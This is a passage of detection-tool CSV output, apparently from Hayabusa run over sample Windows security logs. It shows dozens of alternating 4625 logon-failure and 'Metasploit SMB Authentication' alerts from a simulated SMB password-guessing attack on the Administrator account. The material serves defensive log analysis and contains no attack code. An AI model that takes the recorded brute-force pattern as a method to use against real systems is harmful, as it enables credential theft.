Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.320 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tZIB1QO7hfugceJg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.320 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.364 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u4QU2BQ0u5tJsdjG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.364 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.404 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0P7NKiKCmLvu6L1L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.404 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.440 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4obkK4RfsLZe5gdi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.440 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.482 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JRUDpDLhgop8d1el : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.482 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.530 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LvdsNkFqfFWRePXJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.530 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.557 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5wvd8c1jYrEZMcKI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.557 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.600 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AWvECxgkvWdg9Zdc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.600 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lHHPOAYSMSp3BhX7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.648 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.692 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rJicXUMfrx9BOzHI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.692 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.788 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eybrQWvrvwSkNADJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.788 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.816 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VVMPCaQB0XteDSwC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.816 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.861 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lbjjLoATZE6KPIQv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.861 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.906 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tips954DRcYeIB2T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.906 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.945 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nLe9aMiMz0akxfWW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.945 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.976 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: csroGB9KZOZkb5sY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.976 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.016 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9Zl4Rc25RsvJ7Y9H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.016 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.058 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: C5CxqCFOIJBMZCD6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.058 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.084 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gVPwxpR05F3B5aXp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.084 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.133 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nP317UkK2DhTD5Rd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.133 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.180 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ir3c7dqXm1LhbfqU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.180 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.220 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1U1QZiJSrEufxF3b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.220 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.252 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HZnDnDhTPuC9n5A1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.252 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.300 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 72gY1ClzwuisAhKW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.300 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.340 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nrneLGOZCwPIeQgT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.340 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.386 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dm3gGV2yR4B3yrJi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.386 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.419 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fzeklLG1KCTE5FpP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.419 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.460 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uZPwxCw3EWy9NShk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.460 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.499 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MalB3OcsOsRaMtS3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.499 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.540 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XMZMqCYPHO3n4RIh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.540 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.584 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I1VUeIuU1rQPISNA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.584 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.627 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: md4ioB8wNiaz2EKB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.627 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.664 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nM8QaFeqwDfJZ1gc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.664 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.701 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hlR75rMhpLnfQZbC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.701 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.746 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WF8BcOe4YUDYTXkj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.746 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.786 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FK0Iiao20PyPmtTk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.786 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.832 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kQbCbAHrQilFmMZP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.832 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.866 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VUdXQOw98VVoksDM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.866 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.900 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fISqpC8eKlaQGabv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.900 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.936 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: s5Y0VryMAHjtB3n2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.936 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.976 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bsjAHlztFIC8tBt0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:57.976 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.012 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CiEQlAlTOhqOKpmy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.012 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.052 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i7lUqZMROQXNUtQm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.052 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.088 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0eFCGEtOLzjUxI5v : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.088 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CqfOAGcVcwSgaeo3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.128 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.168 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2hcqVJzkVgvUnebk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.168 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.212 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q9ZpqiTGXqJlAQTZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.212 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 